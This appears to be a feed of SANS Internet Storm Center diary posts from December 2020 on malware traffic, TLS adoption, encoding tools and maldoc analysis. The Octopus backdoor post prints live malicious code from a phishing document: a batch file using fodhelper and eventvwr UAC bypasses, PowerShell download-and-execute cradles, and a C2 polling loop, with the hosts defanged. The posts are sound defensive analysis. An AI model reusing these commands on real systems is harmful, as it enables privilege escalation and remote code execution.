End of Year Traffic Analysis Quiz, (Thu, Dec 31st)

This post was originally published on this site


I wanted to leave you all with one final traffic analysis quiz for Windows-based malware infection traffic.  You can find the pcaps here.  Today's exercise has 6 pcaps of different Windows-based malware infections.  Your task for this quiz?  Determine what type of malware caused the infection for each pcap.  I didn't provide any alerts like I've done for previous quizes.  Today's quiz is just a casserole of pcap files, cooked up, and served piping hot!

Shown above: A food-based visual for this end-of-year traffic analysis quiz.

A PDF document of answers is also included on the page I linked to earlier.  The answers contains associated IOCs for the infections that can be extracted from the pcaps.  But don't peek!  First, see how much you can determine from examining the pcaps.


This type of analysis requires Wireshark.  Wireshark is my tool of choice to review pcaps of infection activity.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

Furthermore, I  recommend using a non-Windows environment like BSD, Linux, or macOS to analyze malicious traffic.  Some of these pcaps contain HTTP traffic sending Windows-based malware.  If you're using a Windows host to review the pcaps, your antivirus (or Windows Defender) may delete the pcap or malware.  Worst case scenario?  If you extract the malware from the pcaps and accidentally run the files, you might infect your Windows computer.

So beware, because there's actual malware involved in parts of this quiz.

Final words

Hope everyone has a happy and healthy year as we enter 2021.

Again, the pcaps and answers for this end-of-year traffic analysis quiz can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

TLS 1.3 is now supported by about 1 in every 5 HTTPS servers, (Wed, Dec 30th)

This post was originally published on this site

TLS 1.3 has been with us for couple of years now[1]. It has brought significant security improvements over previous TLS versions (as well as couple of slightly controversial ideas, such as the 0-RTT) and although its adoption is far from universal as of now, the number of servers which support it seems to be slowly increasing.

As you may see from the following chart, which is based on data I’ve gathered over the past three months from Shodan.io, TLS 1.3 was supported by over 20 percent of all HTTPS servers on the internet during the last quarter of 2020. And although the number has recently slightly fallen, the overall rising trend is clearly visible (see the trendline).

The increase in support of TLS 1.3 isn’t the only good news worth mentioning when it comes to the overall security of HTTPS traffic on the internet during the last quarter of 2020.  That is because the support for SSL 2.0 has been steadily dropping. At the beginning of October, the number of HTTPS servers supporting this outdated protocol fell bellow one million and currently only about 1.5 percent of all HTTPS servers on the internet still support its use.

The fact that there are still servers which support SSL 2.0 out there is of course far from ideal (last year, there were still even few internet banking portals, which still supported it[2]), but the numbers show that the situation is indeed getting better.

I’ll add that since some of our readers have reached out to me with requests for either data I’ve gathered from Shodan, or for the script I’ve used to get them, I’ve decided to open source the tool and I will publish it in January 2021. So if you’d like to gather your own data from Shodan about open ports, vulnerabilities or TLS support in your country or around the world, stay tuned…

Jan Kopriva
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Want to know what's in a folder you don't have a permission to access? Try asking your AV solution…, (Tue, Dec 29th)

This post was originally published on this site

Back in February, I wrote a diary about a small vulnerability in Windows, which allows users to brute-force names of files in folders, which they don’t have permission to open/list[1]. While thinking on the topic, it occurred to me that a somewhat-complete list of files placed in a folder one can’t access due to lack of permissions might potentially be obtained by scanning the folder with an anti-malware solution, which displays files which are currently being scanned.

As you may see in the example above, names of scanned files are indeed displayed by some of the anti-malware solutions out there. And since most anti-malware tools run by necessity with high (i.e. SYSTEM level) privileges, and it is customary to allow any user to initiate a scan of arbitrary folder, this may easily lead to unexpected information disclosure (that is, unless the authors of the tool explicitly decided to stop users from scanning folders, for which they don’t have access permissions).

Admittedly, the impact of this would be rather low – unless the anti-malware solution logged the name of each scanned file in a way which would enable a user to read the entire log afterwards, it would be limited to disclosure of the names of files which the user would be able to see/record during the scan itself. Still, it might provide a way by which many anti-malware solutions might be used to bypass confidentiality controls set at the file system level.

Back in February, I decided to do a short test in order to see how large a portion of AV solutions might actually be abused this way. Since I didn’t intend to do a comprehensive analysis of all tools out there, I’ve limited the test to only 25 anti-malware tools from different vendors mentioned in the Wikipedia article on Comparison of antivirus software[2].

The results were quite interesting. Eight of the tools (i.e. approximately one third) didn’t scan contents of any folder, which was inaccessible to the user who initiated the scan, while the remaining seventeen did. Of these, eight did display the names of analyzed files during a scan.

One further point to note is that any of the 17 tools, which enabled users to scan arbitrary folders, might have been used in conjunction with Sysinternals Process Monitor[3] to discover names of all files in any folder (i.e. one would run ProcMon, initiate scan of a folder and then list all files in the relevant path which the anti-malware solution read).

Of course, as this would require local administrator permissions on the part of the user, it is hardly a major issue, since the user could simply change the permissions on the target folder in order to gain access to its contents. Using anti-malware tool in conjunction with ProcMon would however not result in creation of any suspicious audit trail, which might be left behind, were one to simply change the access permissions.

Although the confidentiality impact of the behavior described above was quite low, I contacted all vendors, whose tools I have determined might be abused in this manner. My assumption was that for those anti-malware tools, which enabled users to scan folders they didn’t have access to, this was the result of an intentional design decision on the part of their authors, but I wanted to be sure.

Not every company replied, but for most of those which did, my assumption proved to be correct as the behavior of their tools was confirmed to be intentional. In only two cases the behavior was deemed to constitute a potential security risk and the vendors decided to change it in subsequent updates.

Even though it is only a low impact issue, it is good to know that it exists. After all, if the results of the test were representative for anti-malware solutions at large, low privileged users might potentially be able to use about each third one to partially bypass file system permissions preventing them from listing contents of folders and local admins could completely bypass them with the help of anti-malware in two out of three cases.

[1] https://isc.sans.edu/forums/diary/Discovering+contents+of+folders+in+Windows+without+permissions/25816/
[2] https://en.wikipedia.org/wiki/Comparison_of_antivirus_software
[3] https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

Jan Kopriva
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Quickie: Bit Shifting With translate.py, (Sun, Dec 27th)

This post was originally published on this site

As promised in diary entry "Corrupt BASE64 Strings: Detection and Decoding", I explain here how to shift bits with my translate.py tool:

Here is a BASE64 string (SGVsbG8sIHdvcmxkLg==) that decodes to "Hello, world.":

Corrupting this BASE64 string by removing the first character (S) means that it is no longer detected:

And truncating the length to a multiple of 4 (with Python function L4) makes that it gets detected, but not decoded properly:

We then proceeded in diary entry "Corrupt BASE64 Strings: Detection and Decoding" to manipulate the input BASE64 string so that we arrived at a decoded string we could recognize.

Here, in stead of manipulating the input BASE64 string, I'm manipulating the output by shifting bits.

Each character in a BASE64 string represents 6 bits. So I will bit shift the output with 2, 4 and 6 bits to the right using my translate.py tool like this (this command shifts the complete byte sequence, not individual bytes):

The result here is that a bit shift to the right of 6 bits results in a decoded BASE64 string that we can recognize.

With this we know that it is likely that we are missing one BASE64 character at the beginning, and thus we can try fixing it like explained in previous diary entry.


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

base64dump.py Supported Encodings, (Sat, Dec 26th)

This post was originally published on this site

I explained to a friend that my tool base64dump.py, despite its name, does support many other encodings than BASE64. For example, it can detect and decode hexadecimal strings too.

To select a different encoding than BASE64, use option -e followed with the name of the encoding, for example: -e hex.

To know which encodings are supported by my tool, use the help (-h) or man (-m) option:

Or use -e ?:

While reviewing the supported encodings, I decided to add support for a new encoding: sequences of decimal numbers, for example found in FireEye's maldocs. In that diary entry, I used my tool numbers-to-string.py to do the decoding, however, in this diary entry I'll show how to use the new version of my tool base64dump.py. Remark that numbers-to-string.py is more versatile to decode sequences of decimal numbers than base64dump.py, as it can take a Python expression to transform each number. If you want to know more about this feature, take a look at diary entry "Small Challenge: A Simple Word Maldoc – Part 2".

Here is method to analyze FireEye's maldocs using base64dump. I use my base64dump.py tool directly to analyze the maldoc (I don't use oledump). I use option "-e all" to let base64dump search for all possible encodings in this binary file (e.g. the maldoc). Since this usually produces a long list of detections (due to very short strings, like numbers), I use option "-n 10" to limit the output. Option "-n 10" specifies that the minimum length of the decoded string is 10 (bytes), shorter strings will not be displayed. Finally, I also use option -u to obtain a list of unique strings (e.g. remove duplicates):

My tool produces a list of all possible strings, sorted by length: the longest strings are listed last. I use this option (-e all) when I don't know what possible strings to expect inside a sample.

With this output, it's easy to see that 2 very long strings were detected (248517 and 249791 bytes long) that match decimal encoding (dec): a long list of decimal numbers separated by a character (; in this sample).

Next I use encoding dec explicitly (-e dec):

The difference with using option "-e dec" in stead of option "-e all", is that now each string is labelled with an index number allowing easy selection, and that the output is not sorted by string length, but strings appear in the order they are found inside the analyzed file.

In this output (and previous output too), I see that when these 2 long strings are decoded, they start with PK.. : they are probably ZIP files.

Selecting the first long string (-s 3) and piping the decoded, binary data (-d) into my tool zipdump.py confirms that this is a ZIP file:

And the same is true for the second long string (-s 4):

This example shows that for these FireEye's maldocs, one can quickly extract the payload using my new version of base64dump.py.

If you compare this method with the previous method, you'll probably ask yourself why I did use oledump in the previous method, and not in this method.

There are 2 reasons:

1) numbers-to-string.py is a tool that expects text as input (one string per line), and not binary data. I used oledump.py with a plugin in the previous method to produce a list of strings, that can be handled by numbers-to-string.py.

2) in this sample, the streams are not "fragmented". ole files (like .doc, .xls, …) store data inside streams, and streams are made up of "virtual sectors". It's not a requirement that the sectors that make up a stream are stored consecutively. When that is not the case, streams are "fragmented", and then long strings inside these streams can become fragmented too. oledump.py parses ole files, and handles fragmentation: when a stream is selected for processing, the data is presented sequentially, and fragmentation is not an issue. Would this sample have been fragmented, then the output of base64dump would list many "dec" strings, and it would be necessary to use oledump to select the stream(s), and pipe it into base64dump.




Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Quickie: String Analysis & Maldocs, (Fri, Dec 25th)

This post was originally published on this site

Yesterday, Xavier showed how to start analyzing a malicious Word document with my oledump.py tool.

Some time ago, I wrote a diary entry about string analysis: "Quickie: String Analysis is Still Useful", and would like to remark that this is another method to start analyzing the maldoc Xavier mentioned yesterday:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Malicious Word Document Delivering an Octopus Backdoor, (Thu, Dec 24th)

This post was originally published on this site

Here is an interesting malicious Word document that I spotted yesterday. This time, it does not contain a macro but two embedded objects that the victim must "activate" (click on one of them) to perform the malicious activities. The document (SHA256:ba6cc16770dc67c1af1a3e103c3fd19a854193e7cd1fecbb11ca11c2c47cdf04) has a VT score of 20/62[1]:

A quick analysis with oledump.py reveals indeed the presence of two embedded objects (the "0" indicator):

remnux@remnux:~$ oledump.py ba6cc16770dc67c1af1a3e103c3fd19a854193e7cd1fecbb11ca11c2c47cdf04.doc.vir 
  1:       114 'x01CompObj'
  2:       280 'x05DocumentSummaryInformation'
  3:       416 'x05SummaryInformation'
  4:      7338 '1Table'
  5:      4096 'Data'
  6: O    1329 'ObjectPool/_1670067230/x01Ole10Native'
  7:         6 'ObjectPool/_1670067230/x03ObjInfo'
  8: O    1536 'ObjectPool/_1670067231/x01Ole10Native'
  9:         6 'ObjectPool/_1670067231/x03ObjInfo'
 10:      4096 'WordDocument'

You can extract them via oledump.py or directly from the document (if you have a Word in your sandbox). Both objects are the same and contain a Windows batch fime. Note the double extension:


Here is the content (beautified):

@echo Off
for /f "tokens=2 delims=," %%i in ('wmic os get caption^,version /format:csv') do set os=%%i
echo %os%|find " 10 ">nul 
  && reg add HKCUSoftwareClassesms-settingsshellopencommand /v "DelegateExecute" /f 
  && reg add HKCUSoftwareClassesms-settingsshellopencommand /d "cmd.exe /c powershell -WindowStyle Hidden -command "IEX (New-Object Net.WebClient).DownloadFile('hxxp://23[.]98[.]155[.]192/sc.bat', 'C:UsersPublicLibrariessc.bat');" C:UsersPublicLibrariessc.bat" /f 
  && START /W fodhelper.exe 
  && reg delete HKCUSoftwareClassesms-settings /f||reg.exe add hkcusoftwareclassesmscfileshellopencommand /ve /d "cmd.exe /c powershell -WindowStyle Hidden -command "IEX (New-Object Net.WebClient).DownloadFile('hxxp://23[.]98[.]155[.]192/sc.bat', 'C:UsersPublicLibrariessc.bat');" C:UsersPublicLibrariessc.bat" /f 
  && START /W eventvwr.exe 
  && reg delete HKEY_CURRENT_USERSoftwareClassesmscfile /f

This script will test the operating system version and if the victim's computer is running Windows 10, two UAC bypass techniques are attempted:

The first one targets 'fodhelper.exe' by creating a registry key 'HKCU:SoftwareClassesms-settingsshellopencommandDelegateExecute'. The second one targets 'eventvwr.exe'. This is a common technique used for a while by attackers.

The privileged command executes a simple Powershell script that fetches the next stage payload and executes it. This 'sc.bat' is heavily obfuscated:

This file contains Chinese characters but interesting strings can be extracted:

remnux@remnux:~$ strings -n 20 sc.bat 
=R7cBqDS KFeZWNzhyTrOCGUE3gmujl4@dnxQk0wvbVYIi5aJ8HM1tA2o6L9XfspP"

It downloads more malicious code from URLs present in the file.

The first one from hxxp://hpsj.firewall-gateway.net/hta:

var cm="powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('hxxp://hpsj[.]firewall-gateway[.]net:80/hpjs.php'));";
var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');
var rtrnCode=GetObject('winmgmts:').Get('Win32_Process').Create(cm,'c:',w32ps,null);

The returned data contains Powershell code that is executed through the 'IEX' command. 

The second script from hxxp://hpsj.firewall-gateway[.]net:8080/MicrosoftUpdate exfiltrates information about the victim to the C2:

Now, let's have a look at the Powershell code retrieved above. It's a backdoor that keeps contact with the C2 via simple HTTP requests:

    $command_raw = $wc2.downloadString("hxxp://hpsj[.]firewall-gateway[.]net:80/view/$IHW");
    $failure_counter=$failure_counter +1;
    if ($failure_counter -eq 10){
    kill $pid

The variable "$IHW" identifies the victim. The following commands are:

  • Report: To return information about the victim (processes, IP address, etc)
  • Download: To retrieve a file
  • reset-ps: To reset the Powershell session 
  • Any other command is interpreted via 'Invoke-Expression'

All communications occur on top of HTTP but data are AES encrypted. Checking deeper, we are facing an Octopus[2] backdoor. This framework has been developed to help red teams to compromise and gather information from victims. In this case, it was not an exercise but a real phishing campaign targeting specific users.

I wish you a Merry Christmas and stay safe!

[1] https://www.virustotal.com/gui/file/ba6cc16770dc67c1af1a3e103c3fd19a854193e7cd1fecbb11ca11c2c47cdf04/detection
[2] https://github.com/mhaskar/Octopus

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Analysis Dridex Dropper, IoC extraction (guest diary), (Wed, Dec 23rd)

This post was originally published on this site

A couple of weeks ago, I assisted Xavier when he taught FOR610 in (virtual) Frankfurt. Last week, one of our students (Nicklas Keijser) sent us this analysis that we decided to share as a guest diary. 


This is a quick rapport how to extract IoC:s from the latest sample of the Dridex droppers we have encountered. The stage 2 url:s that are called upon after infection are heavily obfuscated and with this method we were able to extract them all from each document.


When performing dynamic analysis on the document it was noticed that different and random url:s was contacted every time the macro was enabled.

The sample that was analyzed is
File name: 12072020_383287_7924204.xlsm


If the macro is enabled it will contact the stage 2 server and delete the macro itself. To be able to enter debug mode the Developer ribbon was added in Excel.

When the document is opened in Visual Basic the code is “looked” and it is not possible to view or edit the code.

To make the code visible and possible to edit the tool Evil Clippy was used:



Used the with the option -uu it unlocks the part that is protected and creates a new document.

If the new document is opened within the Developer view the code is now visible.

The code builds up the the url:s and other function of its code by adding together different cells within the document. The numbers in the cells are written in white with white background, to hide it from the user, but if the document is marked the different numbers appears.

After analysing the code it is noticed that the url are built up and stored in the Variant called cc. If a break point is placed when the Variant cc is called and the macro is activated all the url:s reveal themselves.

In the version of debugger used in this analysis it wasn’t possible to copy all the values at the same time so the following code was added to write out the Variant variable to a file in the folder C:temp.


Open "C:tempoutput.txt" For Output As #1

# This line already existed

Randomize: mc = 1: ecutior = cc(Int((UBound(cc) + mc) * Rnd))

For i = 0 To 54

    Write #1, cc(i)

    Next i

Close #1


Finally all the url:s was written to a file and can be used as IoC:s

IOCs can be found here: https://isc.sans.edu/diaryimages/ioc-12072020_383287_7924204.txt

Jim Clausing, GIAC GSE #26
jclausing –at– isc [dot] sans (dot) edu


(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Malware Victim Selection Through WiFi Identification, (Tue, Dec 22nd)

This post was originally published on this site

Last week, I found a malware sample that does nothing fancy, it's a data stealer but it has an interesting feature. It's always interesting to have a look at the network flows generated by malware samples. For a while, attackers use GeoIP API services to test if the victim's computer deserves to be infected… or not! By checking the public IP address used by the victim, an attacker might prevent "friends" to be infected (ex: IP addresses from the attacker's country) or if the IP address belongs to a security vendor. On the other side, the attacker might decide to infect the computer because it is located in a specific country or belongs to the targeted organization. There is plenty of free APIs that offer this feature. The ISC API provides also the same kind of details (but only the country)

remnux@remnux:~$ curl -s https://isc.sans.edu/api/ip/ | jq '.ip.ascountry'

The sample that I found (SHA256:D196E2BBCAF21D3335D72F8E2F2691474BA625E6B01C4DB41A1F91FC41A5EBDF) has a VT score of 41/69[1]. It uses the .Net framework tool regsvcs.exe[2] to execute malicious code extracted by the first stage file. The malware performs the following queries. First, it queries for the victim's public IP address with the help of icanhazip.com:

remnux@remnux:~$ curl -s http://icanhazip.com/

The second service used is api.mylnikov.org:

remnux@remnux:~$ curl -s 'https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:0c:29:xx:xx:xx'
{"result":404, "data":{}, "message":6, "desc":"Object was not found", "time":1608552093}

This free service provides geolocation data for WiFi MAC addresses or BSSID. This is also useful to detect the location of the victim. The malware submits the MAC address of the default gateway (in my VM environment) or the BSSID (the MAC address of the wireless access point). In my case, it did not work of course but here is an example of valid BSSID:

remnux@remnux:~$ curl -s 'https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:0C:42:1F:65:E9'
{"result":200, "data":{"lat": 45.22038682066, "range": 141.727, "lon": 16.54741327415, "time": 1608560868}} 

You can see that only latitude and longitude are returned in the JSON data but it's easy to get back the country/city using another public service:

remnux@remnux:~$ curl -s 'https://geocode.xyz/45.22,16.54?geoit=json'| jq '.state'

"api.mylnikov.org" seems to be an interesting observable! 

[1] https://www.virustotal.com/gui/file/d196e2bbcaf21d3335d72f8e2f2691474ba625e6b01c4db41a1f91fc41a5ebdf/detection
[2] https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool
[3] https://www.mylnikov.org

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

What's the deal with openportstats.com?, (Mon, Dec 21st)

This post was originally published on this site

Over the last few months a few groups I am involved with have been discussing openportstats.com.  They first came to my attention in May of 2020. At that time a number of ISPs indicated attempted DOS by IPs in Russia (ASN202425).  The volume of traffic was not really big enough to do any harm, but in some cases the volume of network traffic was causing issues for some devices and causing congestion on some low speed links.

In July the traffic reappeared. 

With some free time for research, the path led to the website openportstats.com, a website hosted in France, and purporting to be IoT researchers.  In fact in late July the ISC added openportstats to our list of known researchers. 

Starting in September, the scans became almost continuous.

I recently attempted to contact them using the two email addresses listed on their website, and both emails were returned "server not available". 

I am all for supporting security research, but none of the other various scanners and crawlers which contribute to the background noise of the Internet are causing the level of impact openportstats.com is.  Their scans are clumsy and overly aggressive and given my lack of luck attempting to contact them I am having to question the legitimacy of these researchers and their research.  

If you have also experienced impact from their scans, or know anyone associated with openportstats.com, I would love to hear about it via comments on this diary or through our contact page.


— Rick Wanner MSISE – rwanner at isc dot sans dot edu – http://namedeplume.blogspot.com/ – Twitter:namedeplume (Protected)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.